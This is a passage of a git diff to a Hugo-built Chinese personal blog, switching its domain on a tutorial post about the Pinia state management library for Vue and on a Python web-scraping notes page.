return state."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Pinia---vuejs的轻量级状态管理库","item":"https://xiaochenabc123.github.io/posts/124/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Pinia---vuejs的轻量级状态管理库","name":"Pinia---vuejs的轻量级状态管理库","description":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue'\rimport App from './App.vue'\rconst app = createApp(App)\rimport { createPinia } from 'pinia'\rapp.use(createPinia())\rapp.mount('#app')\rsrc/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia'\rexport const useDataStore = defineStore('data', {\rstate: () =\u0026gt; {\rreturn { count: 666 }\r},\r//state: () =\u0026gt; {\r//name: chen\r//},\rgetters:{ // getters计算属性\rdoubleCount(state){\rreturn state.","keywords":["vuejs","Pinia"],"articleBody":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue'\rimport App from './App.vue'\rconst app = createApp(App)\rimport { createPinia } from 'pinia'\rapp.use(createPinia())\rapp.mount('#app')\rsrc/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia'\rexport const useDataStore = defineStore('data', {\rstate: () =\u003e {\rreturn { count: 666 }\r},\r//state: () =\u003e {\r//name: chen\r//},\rgetters:{ // getters计算属性\rdoubleCount(state){\rreturn state.count * 2\r}\rdoublePlusOne(){\r// 在getters中调用其他getters，只需要this访问一下就可以\r// return this.doubleCount + 123\r// 通过箭头函数参数，来动态计算\rreturn (a)=\u003e{\rthis.doubleCount + a\r}\r}\r},\ractions: {\rincrement() {\rthis.count++\r}\r}\r})\rsrc/app.vue（在组件引入useDataStore，并且获取state状态）\nimport { useDataStore } from \"./stores/main.js\"\rconst store = useDataStore()\rconsole.log(store.count)\r...\r{{ store }}\r{{ store.count }}\r使用storeToRefs函数解构状态（storeToRefs解构，可以响应式状态）\nsrc/app.vue\nimport { storeToRefs } from \"pinia\"\rimport { useDataStore } from \"./stores/main.js\"\rconst { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore())\r...\r{{ count }}\r{{ doubleCount }}\r{{ doublePlusOne(6) }}\r调用其他state的getters（假如在其他地方定义了一个getters，想使用）\naddData(state){\r// 获取另一个通过defineStore创建state的实例\rconst store = useAddStore()\rreturn state.count + store.intData\r}\rActions操作state（同步异步都可以使用Actions）\nexport const useStore = defineStore('main', {\rstate: () =\u003e ({\rcounter: 0,\r}),\ractions: {\rcountPlusOne() {\rthis.counter++\r},\rcountPlus(a) {\rthis.counter += a\r}\r}\r})\rimport { useStore } from \"./Test.vue\"\rconst Store = useStore()\rStore.countPlusOne()\rStore.countPlus(3)\rStore.counter = 100\rActions创建的钩子，可以在各种事件，生命周期中进行触发\n","wordCount":"213","inLanguage":"en","datePublished":"2021-12-26T20:22:00Z","dateModified":"2021-12-26T20:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/124/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Pinia---vuejs的轻量级状态管理库</h1><div class=post-meta><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Pinia---vuejs%e7%9a%84%e8%bd%bb%e9%87%8f%e7%ba%a7%e7%8a%b6%e6%80%81%e7%ae%a1%e7%90%86%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3</p><p>Pinia作者也是vuex核心之一</p><p>安装pinia</p><p>npm install pinia@next</p><p>或者</p><p>yarn add pinia@next</p><p>导入pinia并且挂载为vue插件(在Vite脚手架下)</p><p>src/main.js</p><pre><code>import { createApp } from 'vue'
-import App from './App.vue'
-const app = createApp(App)
-import { createPinia } from 'pinia'
-app.use(createPinia())
-app.mount('#app')
-</code></pre><p>src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）</p><pre><code>import { defineStore } from 'pinia'
-export const useDataStore = defineStore('data', {
-    state: () =&gt; {
-        return { count: 666 }
-    },
-    //state: () =&gt; {
-        //name: chen
-    //},
-    getters:{ 
-        // getters计算属性
-        doubleCount(state){
-            return state.count * 2
-        }
-        doublePlusOne(){
-            // 在getters中调用其他getters，只需要this访问一下就可以
-            // return this.doubleCount + 123
-            // 通过箭头函数参数，来动态计算
-            return (a)=&gt;{
-                this.doubleCount + a
-            }
-        }
-    },
-    actions: {
-        increment() {
-            this.count++
-        }
-    }
-})
-</code></pre><p>src/app.vue（在组件引入useDataStore，并且获取state状态）</p><pre><code>import { useDataStore } from &quot;./stores/main.js&quot;
-const store = useDataStore()
-console.log(store.count)
-...
-&lt;template&gt;
-    &lt;h2&gt;{{ store }}&lt;/h2&gt;
-    &lt;h2&gt;{{ store.count }}&lt;/h2&gt;
-&lt;/template&gt;
-</code></pre><p>使用storeToRefs函数解构状态（storeToRefs解构，可以响应式状态）</p><p>src/app.vue</p><pre><code>import { storeToRefs } from &quot;pinia&quot;
-import { useDataStore } from &quot;./stores/main.js&quot;
-const { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore())
-...
-&lt;template&gt;
-    &lt;h2&gt;{{ count }}&lt;/h2&gt;
-    &lt;h2&gt;{{ doubleCount }}&lt;/h2&gt;
-    &lt;h2&gt;{{ doublePlusOne(6) }}&lt;/h2&gt;
-&lt;/template&gt;
-</code></pre><hr><p>调用其他state的getters（假如在其他地方定义了一个getters，想使用）</p><pre><code>addData(state){
-    // 获取另一个通过defineStore创建state的实例
-    const store = useAddStore()
-    return state.count + store.intData
-}
-</code></pre><hr><p>Actions操作state（同步异步都可以使用Actions）</p><pre><code>export const useStore = defineStore('main', {
-    state: () =&gt; ({
-        counter: 0,
-    }),
-    actions: {
-        countPlusOne() {
-            this.counter++
-        },
-        countPlus(a) {
-            this.counter += a
-        }
-    }
-})
-
-
-
-import { useStore } from &quot;./Test.vue&quot;
-const Store = useStore()
-Store.countPlusOne()
-Store.countPlus(3)
-Store.counter = 100
-</code></pre><p>Actions创建的钩子，可以在各种事件，生命周期中进行触发</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li><li><a href=https://xiaochenabc123.github.io/tags/pinia/>Pinia</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/125/><span class=title>« Prev</span><br><span>python爬虫学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/123/><span class=title>Next »</span><br><span>简单使用vuex状态管理库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+import { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () => { return { count: 666 } }, //state: () => { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Pinia---vuejs的轻量级状态管理库","item":"https://chenjunlinabc.github.io/posts/124/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Pinia---vuejs的轻量级状态管理库","name":"Pinia---vuejs的轻量级状态管理库","description":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () =\u0026gt; { return { count: 666 } }, //state: () =\u0026gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.","keywords":["vuejs","Pinia"],"articleBody":"Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3\nPinia作者也是vuex核心之一\n安装pinia\nnpm install pinia@next\n或者\nyarn add pinia@next\n导入pinia并且挂载为vue插件(在Vite脚手架下)\nsrc/main.js\nimport { createApp } from 'vue' import App from './App.vue' const app = createApp(App) import { createPinia } from 'pinia' app.use(createPinia()) app.mount('#app') src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）\nimport { defineStore } from 'pinia' export const useDataStore = defineStore('data', { state: () =\u003e { return { count: 666 } }, //state: () =\u003e { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.count * 2 } doublePlusOne(){ // 在getters中调用其他getters，只需要this访问一下就可以 // return this.doubleCount + 123 // 通过箭头函数参数，来动态计算 return (a)=\u003e{ this.doubleCount + a } } }, actions: { increment() { this.count++ } } }) src/app.vue（在组件引入useDataStore，并且获取state状态）\nimport { useDataStore } from \"./stores/main.js\" const store = useDataStore() console.log(store.count) ... {{ store }} {{ store.count }} 使用storeToRefs函数解构状态（storeToRefs解构，可以响应式状态）\nsrc/app.vue\nimport { storeToRefs } from \"pinia\" import { useDataStore } from \"./stores/main.js\" const { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore()) ... {{ count }} {{ doubleCount }} {{ doublePlusOne(6) }} 调用其他state的getters（假如在其他地方定义了一个getters，想使用）\naddData(state){ // 获取另一个通过defineStore创建state的实例 const store = useAddStore() return state.count + store.intData } Actions操作state（同步异步都可以使用Actions）\nexport const useStore = defineStore('main', { state: () =\u003e ({ counter: 0, }), actions: { countPlusOne() { this.counter++ }, countPlus(a) { this.counter += a } } }) import { useStore } from \"./Test.vue\" const Store = useStore() Store.countPlusOne() Store.countPlus(3) Store.counter = 100 Actions创建的钩子，可以在各种事件，生命周期中进行触发\n","wordCount":"213","inLanguage":"en","datePublished":"2021-12-26T20:22:00Z","dateModified":"2021-12-26T20:22:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/124/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Pinia---vuejs的轻量级状态管理库</h1><div class=post-meta><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Pinia---vuejs%e7%9a%84%e8%bd%bb%e9%87%8f%e7%ba%a7%e7%8a%b6%e6%80%81%e7%ae%a1%e7%90%86%e5%ba%93.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3</p><p>Pinia作者也是vuex核心之一</p><p>安装pinia</p><p>npm install pinia@next</p><p>或者</p><p>yarn add pinia@next</p><p>导入pinia并且挂载为vue插件(在Vite脚手架下)</p><p>src/main.js</p><pre><code>import { createApp } from 'vue'
+import App from './App.vue'
+const app = createApp(App)
+import { createPinia } from 'pinia'
+app.use(createPinia())
+app.mount('#app')
+</code></pre><p>src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）</p><pre><code>import { defineStore } from 'pinia'
+export const useDataStore = defineStore('data', {
+    state: () =&gt; {
+        return { count: 666 }
+    },
+    //state: () =&gt; {
+        //name: chen
+    //},
+    getters:{ 
+        // getters计算属性
+        doubleCount(state){
+            return state.count * 2
+        }
+        doublePlusOne(){
+            // 在getters中调用其他getters，只需要this访问一下就可以
+            // return this.doubleCount + 123
+            // 通过箭头函数参数，来动态计算
+            return (a)=&gt;{
+                this.doubleCount + a
+            }
+        }
+    },
+    actions: {
+        increment() {
+            this.count++
+        }
+    }
+})
+</code></pre><p>src/app.vue（在组件引入useDataStore，并且获取state状态）</p><pre><code>import { useDataStore } from &quot;./stores/main.js&quot;
+const store = useDataStore()
+console.log(store.count)
+...
+&lt;template&gt;
+    &lt;h2&gt;{{ store }}&lt;/h2&gt;
+    &lt;h2&gt;{{ store.count }}&lt;/h2&gt;
+&lt;/template&gt;
+</code></pre><p>使用storeToRefs函数解构状态（storeToRefs解构，可以响应式状态）</p><p>src/app.vue</p><pre><code>import { storeToRefs } from &quot;pinia&quot;
+import { useDataStore } from &quot;./stores/main.js&quot;
+const { count , doubleCount , doublePlusOne} = storeToRefs(useDataStore())
+...
+&lt;template&gt;
+    &lt;h2&gt;{{ count }}&lt;/h2&gt;
+    &lt;h2&gt;{{ doubleCount }}&lt;/h2&gt;
+    &lt;h2&gt;{{ doublePlusOne(6) }}&lt;/h2&gt;
+&lt;/template&gt;
+</code></pre><hr><p>调用其他state的getters（假如在其他地方定义了一个getters，想使用）</p><pre><code>addData(state){
+    // 获取另一个通过defineStore创建state的实例
+    const store = useAddStore()
+    return state.count + store.intData
+}
+</code></pre><hr><p>Actions操作state（同步异步都可以使用Actions）</p><pre><code>export const useStore = defineStore('main', {
+    state: () =&gt; ({
+        counter: 0,
+    }),
+    actions: {
+        countPlusOne() {
+            this.counter++
+        },
+        countPlus(a) {
+            this.counter += a
+        }
+    }
+})
+
+
+
+import { useStore } from &quot;./Test.vue&quot;
+const Store = useStore()
+Store.countPlusOne()
+Store.countPlus(3)
+Store.counter = 100
+</code></pre><p>Actions创建的钩子，可以在各种事件，生命周期中进行触发</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li><li><a href=https://chenjunlinabc.github.io/tags/pinia/>Pinia</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/125/><span class=title>« Prev</span><br><span>python爬虫学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/123/><span class=title>Next »</span><br><span>简单使用vuex状态管理库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/125/index.html b/posts/125/index.html
index 14db9b0f..48993948 100644
--- a/posts/125/index.html
+++ b/posts/125/index.html
@@ -8,8 +8,8 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&lsquo;hallo&rsquo;:&lsquo;python&rsquo;}),encoding=&lsquo;utf-8&rsquo;) response = urllib.request.urlopen(&lsquo;http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&lsquo;https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &#34;https://xiaochenabc123.test.com/&#34;
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/125/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="python爬虫学习笔记"><meta property="og:description" content="urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
+import urllib.parse import urllib.request url = &#34;https://xiaochenabc123.test.com/&#34; headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/125/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="python爬虫学习笔记"><meta property="og:description" content="urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
 模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(&lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(&lsquo;utf-8&rsquo;))
@@ -19,7 +19,7 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&lsquo;hallo&rsquo;:&lsquo;python&rsquo;}),encoding=&lsquo;utf-8&rsquo;) response = urllib.request.urlopen(&lsquo;http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&lsquo;https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &#34;https://xiaochenabc123.test.com/&#34;
headers = {
